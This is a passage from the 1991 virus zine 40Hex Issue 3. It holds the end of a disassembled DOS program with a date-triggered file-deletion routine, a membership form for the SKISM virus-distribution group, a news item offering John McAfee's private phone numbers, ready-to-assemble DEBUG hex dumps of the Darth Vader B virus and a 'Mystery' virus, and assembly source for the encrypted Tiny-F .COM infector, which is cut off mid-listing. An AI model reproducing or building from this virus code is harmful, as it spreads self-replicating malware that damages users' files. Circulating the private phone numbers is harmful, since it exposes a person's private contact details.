- cld
- repe cmpsb
- jz loc_77
- stc
- loc_77:
- pop di
- pop si
- pop cx
- retn
- sub_37 endp
-
-
- sub_38 proc near
- push bx
- push dx
- mov bx,dx
- loc_78:
- mov dl,[bx]
- or dl,dl
- jz loc_79
- call sub_39
- inc bx
- jmp short loc_78
- loc_79:
- pop dx
- pop bx
- retn
- sub_38 endp
-
-
- sub_39 proc near
- push ax
- mov ah,2
- int 21h
- pop ax
- retn
- sub_39 endp
-
-
- sub_40 proc near
- push dx
- mov dl,0Dh
- call sub_39
- mov dl,0Ah
- call sub_39
- pop dx
- retn
- sub_40 endp
-
- db 0, 0, 0, 0, 0ACh, 29h
- db 0ADh, 29h, 0AEh, 29h, 0AFh, 29h
- db 0B0h, 29h, 0E9h, 6Ch, 2, 0E9h
- db 45h, 2, 0
- db 13 dup (0)
- db 0E9h, 60h, 0Dh, 0Dh, 0, 0
- db 0
- db 44h, 29h
- db 42 dup (0)
- db 0D2h, 7, 1, 1
- db 13 dup (0)
- db 3, 2, 0CFh, 0CEh, 0Dh, 0CDh
- db 0Dh
- db 79 dup (0)
- db 0Dh, 0Ah, 'Please enter the passw'
- db 'ord now: '
- db 0
- db 0Dh, 0Ah, 'This program requires '
- db 'DOS 3.00 or greater'
- db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah
- db 2Eh, 2Ah, 0
- db 0Dh, 0Ah, 'Access denied'
- db 7, 0Dh, 0Ah, 0, 42h, 23h
- db 0
- db 305 dup (0)
- db 50h, 53h, 0A1h, 1, 1, 5
- db 3, 1, 0D1h, 0E8h, 0D1h, 0E8h
- db 0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h
- db 8Ch, 0C8h, 3, 0C3h, 50h, 0B8h
- db 67h, 2, 50h, 0CBh, 5Bh, 58h
- db 2Eh, 0C6h, 6, 1Ah, 0, 0FFh
- db 2Eh, 8Ch, 6, 17h, 1, 2Eh
- db 0A3h, 19h, 1, 2Eh, 89h, 26h
- db 1Bh, 1, 2Eh, 8Ch, 16h, 1Dh
- db 1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh
- db 4Bh, 2, 2Eh, 0A1h, 19h, 1
- db 50h, 53h, 51h, 52h, 56h, 57h
- db 55h, 1Eh, 6, 8Ch, 0C8h, 8Eh
- db 0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0
- db 3Ch, 50h, 75h, 6, 0E8h, 6Ch
- db 0, 0EBh, 15h, 90h, 3Ch, 44h
- db 75h, 6, 0E8h, 7Ah, 0, 0EBh
- db 0Bh, 90h
- loc_80:
- cmp al,4Ch
- jne loc_81
- call sub_42
- jmp short loc_82
- loc_81:
- stc
- loc_82:
- jc loc_85
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- cmp byte ptr cs:data_7e,0
- je loc_83
- mov ax,cs:data_4e
- mov ds:data_1e,ax
- mov ax,cs:data_5e
- mov ds:data_2e,ax
- mov ax,100h
- mov cs:data_4e,ax
- mov cs:data_5e,ds
- jmp short loc_84
- loc_83:
- mov ax,cs
- sub ax,cs:data_6e
- add cs:data_5e,ax
- loc_84:
- pop ax
- mov ss,word ptr cs:[11Dh]
- mov sp,word ptr cs:[11Bh]
- jmp dword ptr cs:data_4e
- loc_85:
- mov dx,104h
- call sub_45
- mov ax,4CFFh
- int 21h
- db 0BAh, 0AEh, 0, 0E8h, 0B6h, 0
- db 0C6h, 6, 58h, 0, 29h, 0BAh
- db 58h, 0, 0E8h, 79h, 0, 0E8h
- db 0C2h, 0, 0E8h, 8Ch, 0, 0C3h
-
- sub_41 proc near
- mov ah,2Ah
- int 21h
- cmp cx,ds:data_8e
- jb loc_88
- cmp dh,ds:data_9e
- jb loc_88
- cmp dl,ds:data_10e
- jb loc_88
- mov ah,30h
- int 21h
- cmp al,3
- jae loc_86
- mov dx,0D0h
- call sub_45
- clc
- jmp short loc_88
- db 90h
- loc_86:
- push ds
- push es
- xor al,al
- mov cx,8000h
- mov es,word ptr cs:copyright+1
- mov es,es:data_3e
- xor di,di
- loc_87:
- repne scasb
- scasb
- jnz loc_87
- add di,2
- push es
- pop ds
- mov dx,di
- mov ah,41h
- int 21h
- clc
- pop es
- pop ds
- loc_88:
- cmc
- retn
- sub_41 endp
-
- sub_42 proc near
- mov ah,1Ah
- mov dx,83h
- int 21h
- mov ah,4Eh
- mov cx,8
- mov dx,0FFh
- int 21h
- mov si,0A1h
- mov di,4Bh
- cld
- loc_89:
- lodsb
- scasb
- stc
- jnz loc_ret_90
- or al,al
- jnz loc_89
-
- loc_ret_90:
- retn
- sub_42 endp
-
- sub_43 proc near
- push ax
- push bx
- push cx
- mov ah,0Ah
- int 21h
- mov bx,dx
- inc bx
- mov cl,[bx]
- xor ch,ch
- jcxz loc_92
-
- locloop_91:
- inc bx
- not byte ptr [bx]
- loop locloop_91
-
- loc_92:
- pop cx
- pop bx
- pop ax
- retn
- sub_43 endp
-
- sub_44 proc near
- push cx
- push si
- push di
- mov cl,ds:data_11e
- xor ch,ch
- mov si,59h
- mov di,1Dh
- cld
- repe cmpsb
- jz loc_93
- stc
- loc_93:
- pop di
- pop si
- pop cx
- retn
- sub_44 endp
-
-
-
- sub_45 proc near
- push bx
- push dx
- mov bx,dx
- loc_94:
- mov dl,[bx]
- or dl,dl
- jz loc_95
- call sub_46
- inc bx
- jmp short loc_94
- loc_95:
- pop dx
- pop bx
- retn
- sub_45 endp
-
-
-
- sub_46 proc near
- push ax
- mov ah,2
- int 21h
- pop ax
- retn
- sub_46 endp
-
-
-
- sub_47 proc near
- push dx
- mov dl,0Dh
- call sub_46
- mov dl,0Ah
- call sub_46
- pop dx
- retn
- sub_47 endp
-
- db 0, 0ACh, 29h, 0ADh, 29h, 0AEh
- db 29h, 0AFh, 29h, 0B0h, 29h, 0E9h
- db 6Ch, 2
- loc_96:
- jmp loc_97
- db 0
- db 13 dup (0)
- db 0E9h, 60h, 11h, 0Dh, 0, 0
- db 0
- db 44h, 29h
- db 42 dup (0)
- db 0D0h, 7, 6, 6
- db 13 dup (0)
- db 3, 2, 0CFh, 0C9h, 0Dh, 0CFh
- db 0Dh
- db 79 dup (0)
- db 0Dh, 0Ah, 'Please enter the passw'
- db 'ord now: '
- db 0
- db 0Dh, 0Ah, 'This program requires '
- db 'DOS 3.00 or greater'
- db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah
- db 2Eh, 2Ah, 0
- db 0Dh, 0Ah, 'Access denied'
- db 7, 0Dh, 0Ah, 0, 42h, 23h
- db 0
- db 305 dup (0)
- loc_97:
- push ax
- push bx
- mov ax,word ptr ds:[101h]
- add ax,103h
- shr ax,1
- shr ax,1
- shr ax,1
- shr ax,1
- mov bx,ax
- mov ax,cs
- add ax,bx
- push ax
- mov ax,267h
- push ax
- retf
- db 5Bh, 58h, 2Eh, 0C6h, 6, 1Ah
- db 0, 0FFh, 2Eh, 8Ch, 6, 17h
- db 1, 2Eh, 0A3h, 19h, 1, 2Eh
- db 89h, 26h, 1Bh, 1, 2Eh, 8Ch
- db 16h, 1Dh, 1, 8Ch, 0C8h, 8Eh
- db 0D0h, 0BCh, 4Bh, 2, 2Eh, 0A1h
- db 19h, 1, 50h, 53h, 51h, 52h
- db 56h, 57h, 55h, 1Eh, 6, 8Ch
- db 0C8h, 8Eh, 0D8h, 8Eh, 0C0h, 0A0h
- db 1Bh, 0, 3Ch, 50h, 75h, 6
- db 0E8h, 6Ch, 0, 0EBh, 15h, 90h
- db 3Ch, 44h, 75h, 6, 0E8h, 7Ah
- db 0, 0EBh, 0Bh, 90h
- loc_98:
- cmp al,4Ch
- jne loc_99
- call sub_49
- jmp short loc_100
- loc_99:
- stc
- loc_100:
- jc loc_103
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- cmp byte ptr cs:data_7e,0
- je loc_101
- mov ax,cs:data_4e
- mov ds:data_1e,ax
- mov ax,cs:data_5e
- mov ds:data_2e,ax
- mov ax,100h
- mov cs:data_4e,ax
- mov cs:data_5e,ds
- jmp short loc_102
- loc_101:
- mov ax,cs
- sub ax,cs:data_6e
- add cs:data_5e,ax
- loc_102:
- pop ax
- mov ss,word ptr cs:[11Dh]
- mov sp,word ptr cs:[11Bh]
- jmp dword ptr cs:data_4e
- loc_103:
- mov dx,104h
- call sub_52
- mov ax,4CFFh
- int 21h
- db 0BAh, 0AEh, 0, 0E8h, 0B6h, 0
- db 0C6h, 6, 58h, 0, 29h, 0BAh
- db 58h, 0, 0E8h, 79h, 0, 0E8h
- db 0C2h, 0, 0E8h, 8Ch, 0, 0C3h
-
- sub_48 proc near
- mov ah,2Ah
- int 21h
- cmp cx,ds:data_8e
- jb loc_106
- cmp dh,ds:data_9e
- jb loc_106
- cmp dl,ds:data_10e
- jb loc_106
- mov ah,30h
- int 21h
- cmp al,3
- jae loc_104
- mov dx,0D0h
- call sub_52
- clc
- jmp short loc_106
- db 90h
- loc_104:
- push ds
- push es
- xor al,al
- mov cx,8000h
- mov es,word ptr cs:copyright+1
- mov es,es:data_3e
- xor di,di
- loc_105:
- repne scasb
- scasb
- jnz loc_105
- add di,2
- push es
- pop ds
- mov dx,di
- mov ah,41h
- int 21h
- clc
- pop es
- pop ds
- loc_106:
- cmc
- retn
- sub_48 endp
-
-
- sub_49 proc near
- mov ah,1Ah
- mov dx,83h
- int 21h
- mov ah,4Eh
- mov cx,8
- mov dx,0FFh
- int 21h
- mov si,0A1h
- mov di,4Bh
- cld
- loc_107:
- lodsb
- scasb
- stc
- jnz loc_ret_108
- or al,al
- jnz loc_107
-
- loc_ret_108:
- retn
- sub_49 endp
-
-
- sub_50 proc near
- push ax
- push bx
- push cx
- mov ah,0Ah
- int 21h
- mov bx,dx
- inc bx
- mov cl,[bx]
- xor ch,ch
- jcxz loc_110
-
- locloop_109:
- inc bx
- not byte ptr [bx]
- loop locloop_109
-
- loc_110:
- pop cx
- pop bx
- pop ax
- retn
- sub_50 endp
-
-
- sub_51 proc near
- push cx
- push si
- push di
- mov cl,ds:data_11e
- xor ch,ch
- mov si,59h
- mov di,1Dh
- cld
- repe cmpsb
- jz loc_111
- stc
- loc_111:
- pop di
- pop si
- pop cx
- retn
- sub_51 endp
-
-
-
- sub_52 proc near
- push bx
- push dx
- mov bx,dx
- loc_112:
- mov dl,[bx]
- or dl,dl
- jz loc_113
- call sub_53
- inc bx
- jmp short loc_112
- loc_113:
- pop dx
- pop bx
- retn
- sub_52 endp
-
-
-
- sub_53 proc near
- push ax
- mov ah,2
- int 21h
- pop ax
- retn
- sub_53 endp
-
-
- sub_54 proc near
- push dx
- mov dl,0Dh
- call sub_53
- mov dl,0Ah
- call sub_53
- pop dx
- retn
- sub_54 endp
-
- db 0F0h, 0FDh, 0C5h, 0AAh, 0FFh, 0F0h
- db 8Dh, 6Dh, 0B2h
- db 73h
-
- seg_a ends
-
-
-
- end start
-
- -------------------------------------------------------------------------------
- 40Hex Issue 3 0005
-
- Application For Membership To SKISM
-
-
- SKISM is quickly becoming one of the largest virus creators/
- distributers in America. Part of getting bigger is branching
- out in new directions and getting more members.
-
- If you wish to apply for membership to SKISM or if you want
- your board to become to become a SKISM distribution site
- fill out the application below and upload it to one of the
- SKISM home bases listed in file one of this archive.
-
- Keep in mind, from the start of the group SKISM we have been
- virus authors, not trojan, bomb, or any other such distructive
- mechanism. The entire purpose of SKISM is virus reserch, to
- better understand the situation today with computer viruses.
-
- Therefore trojan and bomb authors shall apply elsewere, when
- you brush up your work, come back. No disrespect intended.
-
- ------------------------------------------------------------------------------
-
- Application For Membership
-
-
- I am interested in becoming
-
- ___ A SKISM Member
- ___ A SKISM Distribution Site Sysop
-
-
- Handle: ________________
- Aliases: ________________
- First Name: ________________ (Used only for verification)
-
-
- Have you ever written a computer virus(es)? ___
- If yes name it/them: _______________________________________
- _______________________________________
-
- Programming Languages you know: ____________________________ Know Well
- ____________________________ :
- ____________________________ :
- ____________________________ Hardly Know
-
- Are you a sysop of a BBS? ___
- If yes leave the vitals:
- BBS Name: _________________________
- Dialup: _________________________
- State: _________________________
- Running: example: Telegard._______
-
- Are you in any way connected to and law enforcment agency? ___
- Do you realize that being untruthfull to the above question
- waviers all legal matters: ____
- Are you in anyway connected to any software company? ___
-
- List three people you know (handles) : _________________
- _________________
- _________________
-
- List three BBS that you have elite access to:
-
- Name: _____________________ Dialup: _______________________
- Name: _____________________ Dialup: _______________________
- Name: _____________________ Dialup: _______________________
-
- Thank you.
-
- Please upload this applcation to one of the SKISM distribution site
- mentioned in the first file of this archive.
-
- -------------------------------------------------------------------------------
-
- 40Hex Issue 3 0006
-
- Virus News
-
- 10/91
- -----
-
- Well the virus world is going as good as ever, dispite the over 20
- virus scanners/removers out there.
-
- The October 28th issue of PC-Magazine did a huge artical on the newest
- virus scanner/defense systems. Mentioned in the artical were SKISM-1
- and Captian Trips.
-
- There is a new catagory of viruses out there, DIR-2 viruses. Havent
- located one as of yet, but hope to in the near future.
-
- Bogus SCANS continue to surface in the public domain. As if SCAN 82
- was not played with enough, there have been many reports of bogus
- versions SCAN 84. Most of which contian trojan bombs and will distroy
- the FAT table or boot sector of you hard disk upon execution.
-
- I have the unreleased phone numbers of John Mcafee. Including his
- private office, home, and fax numbers. Get a hold of me somehow and I
- will get them to you.
-
- Theres a bogus version of the Red Cross virus going around on h/p
- boards. The first command is to terminate the program. Things people
- do for credit these days.
-
- In case you haven't yet heard Patti Hoffmans VSUM, virus information
- summary is now a giant hyper-text database. It's really a good
- program, check it out. Can't wait to see a bogus version of that
- going around.
-
- That's it for no - till later.
-
- 40Hex Issue 3 0007
-
- The Darth Vader Virus Strain B
-
- The Darth Vader virus is pretty cool because it is a little
- differnt than most other viruses. Instead of going resident
- and infecting all programs run, it infects the stack space
- of all .COM files, as they are copied. Pretty cool, huh?
-
- This virus only infects .COM files with a stack space equal
- to its own size.
-
- It's orgin is Bulgeria, hmmm, has Bulgeria become the virus
- captial of the world all of a sudden???
-
- Well here it is, enjoy.
-
- ------------------------------------------------------------------------------
- n darth-2.com
- e 0100 E8 00 00 5E 83 EE 03 89 36 F0 00 A3 FE 00 31 C0
- e 0110 8E D8 8E 06 AE 00 B8 00 90 8E D8 31 FF 47 81 FF
- e 0120 00 0F 77 58 57 31 F6 B9 58 01 F3 A6 5F E3 02 EB
- e 0130 EC 2E 8B 36 F0 00 2E 89 3E F2 00 0E 1F B9 58 01
- e 0140 F3 A4 06 1F 8B F7 46 74 33 56 AD 93 AC 81 FB 36
- e 0150 FF 74 03 5E EB F0 3C 16 75 F9 5E 56 2E 8B 3E F2
- e 0160 00 89 3E 04 00 81 C7 41 01 A5 A5 A4 5F B0 9A AA
- e 0170 B8 95 00 2E 03 06 F2 00 AB 8C C0 AB 0E 0E 1F 07
- e 0180 BF 00 01 57 8B 36 F0 00 81 C6 47 01 A5 A4 A1 FE
- e 0190 00 C3 E9 9C 00 2E 8C 1E 0A 00 2E 89 16 0C 00 2E
- e 01A0 89 0E 0E 00 50 53 51 06 56 57 80 FC 40 75 E3 81
- e 01B0 F9 68 01 72 DD B8 20 12 CD 2F 26 8A 1D B8 16 12
- e 01C0 CD 2F 83 C7 28 0E 1F BE 4A 01 03 36 04 00 B9 03
- e 01D0 00 F3 A6 75 5C 1E 07 2E 8E 1E 0A 00 2E 8B 36 0C
- e 01E0 00 BF 47 01 2E 03 3E 04 00 A5 A4 B8 00 90 8E C0
- e 01F0 2E 8B 0E 0E 00 31 FF 46 49 74 36 51 56 B9 58 01
- e 0200 F3 A6 5E E3 03 59 EB ED 59 56 1E 2E 8E 06 0A 00
- e 0210 2E 8B 3E 0C 00 B0 E9 AA 2E 2B 36 0C 00 83 EE 03
- e 0220 8B C6 AB 07 5F 0E 1F 2E 8B 36 04 00 B9 58 01 F3
- e 0230 A4 5F 5E 07 59 5B 58 2E 8B 16 0C 00 2E 8E 1E 0A
- e 0240 00 00 00 00 00 00 CB CD 20 90 43 4F 4D 44 61 72
- e 0250 74 68 20 56 61 64 65 72 90 1A 1A 1A 1A 1A 1A 1A
- rcx
- 159
- w
- q
- -------------------------------------------------------------------------------
-
-
- 40Hex Issue 3 0008
-
- Mystery Virus
-
-
- Actually I do know what this virus is, but being Halloween time
- and all I thought I'd let you find out for yourself.
-
- -------------------------------------------------------------------------------
- n mystery.com
- e 0100 E9 4B 00 CD 21 2E 56 53 2E 00 8C C3 83 C3 10 2E
- e 0110 03 9C 3C 07 2E 89 9C 32 00 2E 8B 9C 3A 07 2E 89
- e 0120 9C 30 00 8C C3 83 C3 10 2E 03 9C 40 07 8E D3 2E
- e 0130 8B A4 3E 07 EA 00 00 00 00 BF 00 01 81 C6 42 07
- e 0140 A4 A5 8B 26 06 00 33 DB 53 FF 64 F5 00 07 E8 00
- e 0150 00 5E 83 EE 4C FC 2E 81 BC 42 07 4D 5A 74 0E FA
- e 0160 8B E6 81 C4 FC 08 FB 3B 26 06 00 73 CC 2E C6 84
- e 0170 76 00 C5 50 06 56 1E 0E 1F B8 00 C5 CD 21 3D 31
- e 0180 67 75 04 07 E9 AB 00 07 B4 49 CD 21 BB FF FF B4
- e 0190 48 CD 21 81 EB E8 00 73 03 E9 96 00 8C C1 F9 13
- e 01A0 CB B4 4A CD 21 BB E7 00 F9 26 19 1E 02 00 06 8E
- e 01B0 C1 B4 4A CD 21 8C C0 48 8E D8 C7 06 01 00 08 00
- e 01C0 E8 E1 05 8B D8 8B CA 1F 8C D8 E8 D7 05 03 06 06
- e 01D0 00 83 D2 00 2B C3 1B D1 72 04 29 06 06 00 1E 0E
- e 01E0 2E C6 84 F5 00 62 33 FF 8E DF 1F B9 95 07 90 F3
- e 01F0 A4 26 C7 06 49 07 00 00 B8 00 62 CD 21 8E DB 8B
- e 0200 3E 08 00 8B DF 8B 3E 06 00 47 8E DB 8B 5D 02 8B
- e 0210 3D 83 C7 1A 26 89 1E 93 07 8C C1 8E C3 FA B8 EA
- e 0220 00 AA B8 38 03 AB 8B C1 AB 8E C1 26 89 3E 91 07
- e 0230 FB 07 B8 00 2A CD 21 3A D6 74 14 E9 8D 00 69 62
- e 0240 6D 40 40 53 4E 53 20 20 20 20 20 20 20 20 20 0E
- e 0250 1F 5E 56 2E C6 84 68 01 CD B0 02 B9 01 00 33 D2
- e 0260 2E C6 84 69 01 25 8B DE 81 C3 26 03 56 2D 4C 5A
- e 0270 5E 72 58 06 1E 07 2E C6 84 B1 01 26 2E C6 84 B0
- e 0280 01 CD 8B FB 81 C7 F3 01 56 8B F3 83 C6 0B B9 09
- e 0290 00 83 3C 00 74 16 F3 A4 5E 8B FB 83 C7 03 56 81
- e 02A0 C6 39 01 B9 11 00 AC 2C 20 AA E2 FA 5E 56 33 D2
- e 02B0 B0 02 B9 01 00 0C 1B 58 5E 07 72 0F 0E 1F 58 1F
- e 02C0 B8 03 C5 CD 21 58 B8 00 4C CD 21 5E 07 58 06 1F
- e 02D0 2E 81 BC 42 07 4D 5A 75 03 E9 2E FE E9 5A FE 50
- e 02E0 53 51 52 56 57 06 1E 0E 1F 80 3E 39 07 01 75 2A
- e 02F0 B8 03 00 CD 10 C6 06 35 07 09 C6 06 38 07 00 C6
- e 0300 06 36 07 00 C6 06 37 07 00 C6 06 33 07 00 C6 06
- e 0310 39 07 00 90 C7 06 31 07 D2 06 80 3E 33 07 01 75
- e 0320 03 E9 D5 00 80 3E 30 07 00 74 07 FE 0E 30 07 E9
- e 0330 C7 00 8B 1E 31 07 83 3F FF 75 13 E4 61 24 FC E6
- e 0340 61 C6 06 34 07 00 C6 06 33 07 01 E9 AB 00 80 3E
- e 0350 34 07 01 75 03 E9 92 00 B0 B6 E6 43 8A 47 02 A2
- e 0360 30 07 C6 06 34 07 01 8B 1F B8 DD 34 BA 12 00 F7
- e 0370 F3 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 83 06 31
- e 0380 07 03 8A 36 37 07 8D 36 A5 06 B9 03 00 80 3E 35
- e 0390 07 0F 7E 09 C6 06 35 07 09 90 EB 0E 90 80 3E 35
- e 03A0 07 09 73 06 C6 06 35 07 0F 90 8A 1E 35 07 8A 16
- e 03B0 36 07 E8 4D 00 FE C6 E2 F1 80 06 36 07 02 80 3E
- e 03C0 38 07 01 74 19 80 3E 37 07 15 77 0C 80 06 37 07
- e 03D0 02 FE 06 35 07 EB 22 90 C6 06 38 07 01 90 80 2E
- e 03E0 37 07 02 FE 0E 35 07 EB 10 90 8A 07 A2 30 07 C6
- e 03F0 06 34 07 00 83 06 31 07 01 1F 07 5F 5E 5A 59 5B
- e 0400 58 CF 51 B7 00 B4 02 CD 10 B9 01 00 AC 0A C0 74
- e 0410 18 2C 20 3C DF 74 04 3C DC 75 06 B9 22 00 80 C2
- e 0420 21 B4 09 CD 10 FE C2 EB DC 59 C3 B0 03 CF E8 39
- e 0430 01 E8 49 03 9D 80 FC 68 2E FF 2E 91 07 55 8B EC
- e 0440 FF 76 06 9D 5D 9C FC 3D 00 4B 74 E2 80 FC 3C 74
- e 0450 0A 80 FC 3E 74 4A 80 FC 5B 75 6F 2E 83 3E 49 07
- e 0460 00 74 03 E9 A6 00 E8 B9 00 74 03 E9 9E 00 E8 0C
- e 0470 03 9D E8 EB 00 73 03 E9 99 00 9C 06 0E 07 56 57
- e 0480 51 50 BF 49 07 AB 8B F2 B9 41 00 AC AA 84 C0 74
- e 0490 07 E2 F8 26 89 0E 49 07 58 59 5F 5E 07 9D 73 73
- e 04A0 2E 3B 1E 49 07 75 65 85 DB 74 61 E8 CF 02 9D E8
- e 04B0 AE 00 72 5F 9C 1E 0E 1F 52 BA 4B 07 E8 AB 00 2E
- e 04C0 C7 06 49 07 00 00 5A 1F EB D3 80 FC 3D 74 35 80
- e 04D0 FC 43 74 30 80 FC 56 74 2B 80 FC C5 75 2E 3C 03
- e 04E0 74 06 B8 31 67 EB 37 90 1E B8 00 00 8E D8 FA C7
- e 04F0 06 70 00 DA 01 8C 0E 72 00 FB 1F 2E C6 06 39 07
- e 0500 01 EB 1B 90 E8 1B 00 75 03 E8 5E 00 E8 6E 02 9D
- e 0510 E8 4D 00 9C 1E E8 70 02 C6 06 00 00 5A 1F 9D CA
- e 0520 02 00 50 56 8B F2 AC 84 C0 74 24 3C 2E 75 F7 E8
- e 0530 22 00 8A E0 E8 1D 00 3D 6F 63 74 0C 3D 78 65 75
- e 0540 10 E8 10 00 3C 65 EB 09 E8 09 00 3C 6D EB 02 FE
- e 0550 C0 5E 58 C3 AC 3C 43 72 06 3C 59 73 02 04 20 C3
- e 0560 9C 80 FC 68 2E FF 1E 91 07 C3 1E 06 56 57 50 53
- e 0570 51 52 8C DE 33 C0 8E D8 C4 06 90 00 06 50 C7 06
- e 0580 90 00 26 03 8C 0E 92 00 8E DE 33 C9 B8 00 43 E8
- e 0590 CE FF 8B D9 80 E1 FE 3A CB 74 07 B8 01 43 E8 BF
- e 05A0 FF F9 9C 1E 52 53 B8 02 3D E8 B4 FF 72 0A 8B D8
- e 05B0 E8 26 00 B4 3E E8 A8 FF 59 5A 1F 9D 73 06 B8 01
- e 05C0 43 E8 9C FF 33 C0 8E D8 8F 06 90 00 8F 06 92 00
- e 05D0 5A 59 5B 58 5F 5E 07 1F C3 0E 1F 0E 07 BA 95 07
- e 05E0 B9 18 00 B4 3F E8 78 FF 33 C9 33 D2 B8 02 42 E8
- e 05F0 6E FF 89 16 AF 07 3D 00 0B 83 DA 00 72 6C A3 AD
- e 0600 07 81 3E 95 07 4D 5A 75 17 A1 9D 07 03 06 AB 07
- e 0610 E8 91 01 03 06 A9 07 83 D2 00 8B CA 8B D0 EB 15
- e 0620 80 3E 95 07 E9 75 44 8B 16 96 07 81 C2 03 01 72
- e 0630 3A FE CE 33 C9 B8 00 42 E8 25 FF 05 00 07 90 83
- e 0640 D2 00 3B 06 AD 07 75 23 3B 16 AF 07 75 1D BA B1
- e 0650 07 8B F2 B9 EF 02 B4 3F E8 05 FF 72 0E 3B C8 75
- e 0660 0A BF 49 00 AC AE 75 03 E2 FA C3 33 C9 33 D2 B8
- e 0670 02 42 E8 EB FE A3 45 07 89 16 47 07 81 3E 95 07
- e 0680 4D 5A 74 0A 05 95 09 90 83 D2 00 74 19 C3 8B 16
- e 0690 AD 07 F6 DA 83 E2 0F 33 C9 B8 01 42 E8 C1 FE A3
- e 06A0 AD 07 89 16 AF 07 B8 00 57 E8 B4 FE 9C 51 52 81
- e 06B0 3E 95 07 4D 5A 74 05 B8 00 01 EB 07 A1 A9 07 8B
- e 06C0 16 AB 07 2E C7 06 47 00 00 07 BF 3A 07 AB 8B C2
- e 06D0 AB A1 A5 07 AB A1 A3 07 AB BE 95 07 A4 A5 33 D2
- e 06E0 B9 49 07 90 B4 40 E8 77 FE 72 27 33 C8 75 23 8B
- e 06F0 D1 B8 00 42 E8 69 FE 81 3E 95 07 4D 5A 74 15 C6
- e 0700 06 95 07 E9 A1 AD 07 05 46 00 A3 96 07 B9 03 00
- e 0710 EB 57 EB 5D E8 8A 00 F7 D0 F7 D2 40 75 01 42 03
- e 0720 06 AD 07 13 16 AF 07 B9 10 00 F7 F1 C7 06 A9 07
- e 0730 49 00 A3 AB 07 05 72 00 A3 A3 07 C7 06 A5 07 00
- e 0740 01 81 06 AD 07 49 07 83 16 AF 07 00 A1 AD 07 25
- e 0750 FF 01 A3 97 07 9C A1 AE 07 D0 2E B0 07 D1 D8 9D
- e 0760 74 01 40 A3 99 07 B9 18 00 BA 95 07 B4 40 E8 EF
- e 0770 FD 5A 59 9D 72 06 B8 01 57 E8 E4 FD C3 1E E8 07
- e 0780 00 C6 06 00 00 4D 1F C3 50 53 B4 62 E8 D1 FD 8C
- e 0790 C8 48 4B 8E DB F9 13 1E 03 00 3B D8 72 F5 5B 58
- e 07A0 C3 A1 9D 07 BA 10 00 F7 E2 C3 FE FF FD 00 FE 40
- e 07B0 75 73 73 72 40 40 40 40 40 76 89 92 95 73 8F 86
- e 07C0 94 40 40 48 83 49 40 40 96 51 4E 40 51 59 59 50
- e 07D0 40 FD 00 FE FC FD 00 4A 01 03 01 B8 01 0B 01 4A
- e 07E0 01 06 01 72 01 01 02 9F 01 09 01 15 01 02 02 15
- e 07F0 01 03 02 72 01 08 01 4A 01 05 02 26 01 01 01 4A
- e 0800 01 08 02 15 01 03 02 15 01 03 03 26 01 08 02 26
- e 0810 01 05 01 4A 01 01 02 72 01 08 01 72 01 04 01 72
- e 0820 01 04 00 72 01 08 02 9F 01 06 02 B8 01 01 02 EE
- e 0830 01 0F FF FF FF 00 00 00 01 00 00 00 00 00 00 00
- e 0840 01 3A 16 D8 8E C3 8E B8 00 4C 05 00 00 00 1A 1A
-
- rcx
- 74e
- w
- q
- -------------------------------------------------------------------------------
-
-
- 40Hex Issue 3 0009
-
- The Tiny-F Virus
-
- In our first issue we gave you the source for the Tiny-B virus.
- Well some people don't quit.
-
- After months of struggling Psyco-genius decided to give
- his attempts to make this a good virus over to someone who
- knows what he's doning.
-
- So Dark (mastered assembler in one week) Angel did some mods
- and here we have it.
-
- -------------------------------------------------------------------------------
- tinyv SEGMENT BYTE PUBLIC 'code'
- ASSUME CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv
-
- ORG 100h
-
- DOS EQU 21h
-
- start: JMP pgstart
- exlbl: db 0CDh, 20h, 7, 8, 9
- pgstart:CALL tinyvir
- tinyvir:
- POP SI ; get SI for storage
- SUB SI,offset tinyvir ; reset SI to virus start
- MOV BP,[SI+blnkdat] ; store SI in BP for return
- ADD BP, OFFSET exlbl
- CALL endecrpt
- JMP SHORT realprog
-
- ;-----------------------------------------------------------------------------
- ; nonencrypted subroutines start here
- ;-----------------------------------------------------------------------------
-
- ; PCM's encryption was stupid, mine is better - Dark Angel
- endecrpt:
- ; Only need to save necessary registers - Dark Angel
- PUSH AX ; store registers
- PUSH BX
- PUSH CX
- PUSH SI
- ; New, better, more compact encryption engine
- MOV BX, [SI+EN_VAL]
- ADD SI, offset realprog
- MOV CX, endenc - realprog
- SHR CX, 1
- JNC start_encryption
- DEC SI
- start_encryption:
- MOV DI, SI
- encloop:
- LODSW ; DS:[SI] -> AX
- XOR AX, BX
- STOSW
- LOOP encloop
-
- POP SI ; restore registers
- POP CX
- POP BX
- POP AX
- RET
- ;-----end of encryption routine
- nfect:
- CALL endecrpt
- MOV [SI+offset endprog+3],AX; point to data
- MOV AH,40H ; write instruction
- LEA DX,[SI+0105H] ; write buffer loc |
- MOV CX,offset endprog-105h ; (size of virus) --\|/--
- INT DOS ; do it!
- PUSHF
- CALL endecrpt
- POPF
- JC outa1 ; error, bug out
- RET
- outa1:
- JMP exit
-
-
- ;-----------------------------------------------------------------------------
- ; Unencrypted routines end here
- ;-----------------------------------------------------------------------------
- realprog:
- CLD ; forward direction for string ops
- ; Why save DTA? This part killed. Saves quite a few bytes. Dark Angel
- ; Instead, set DTA to SI+ENDPROG+131h
- MOV AH, 1Ah ; Set DTA
- LEA DX, [SI+ENDPROG+131h] ; to DS:DX
- INT 21h
-
- LEA DX,[SI+fspec] ; get filespec (*.COM)
- XOR CX, CX ; || (clear regs)
- MOV AH,4EH ; || (find files)
- mainloop: ; \||/
- INT DOS ; ----\/----
- JC hiccup ; no more files found, terminate virus
- ; Next part had to be changed to account for new DTA address - Dark Angel
- LEA DX, [SI+ENDPROG+131h+30]; set file name pointer
- ; (offset 30 is DTA filename start)
- MOV AX,3D02H ; open file
- INT DOS ; do it!
- MOV BX,AX ; move file handle to BX
- MOV AH,3FH ; read file
- LEA DX,[SI+endprog] ; load end of program (as buffer pntr)
- MOV DI,DX ; set Dest Index to area for buffer
- MOV CX,0003H ; read 3 bytes
- INT DOS ; do it!
- CMP BYTE PTR [DI],0E9H ; check for JMP at start
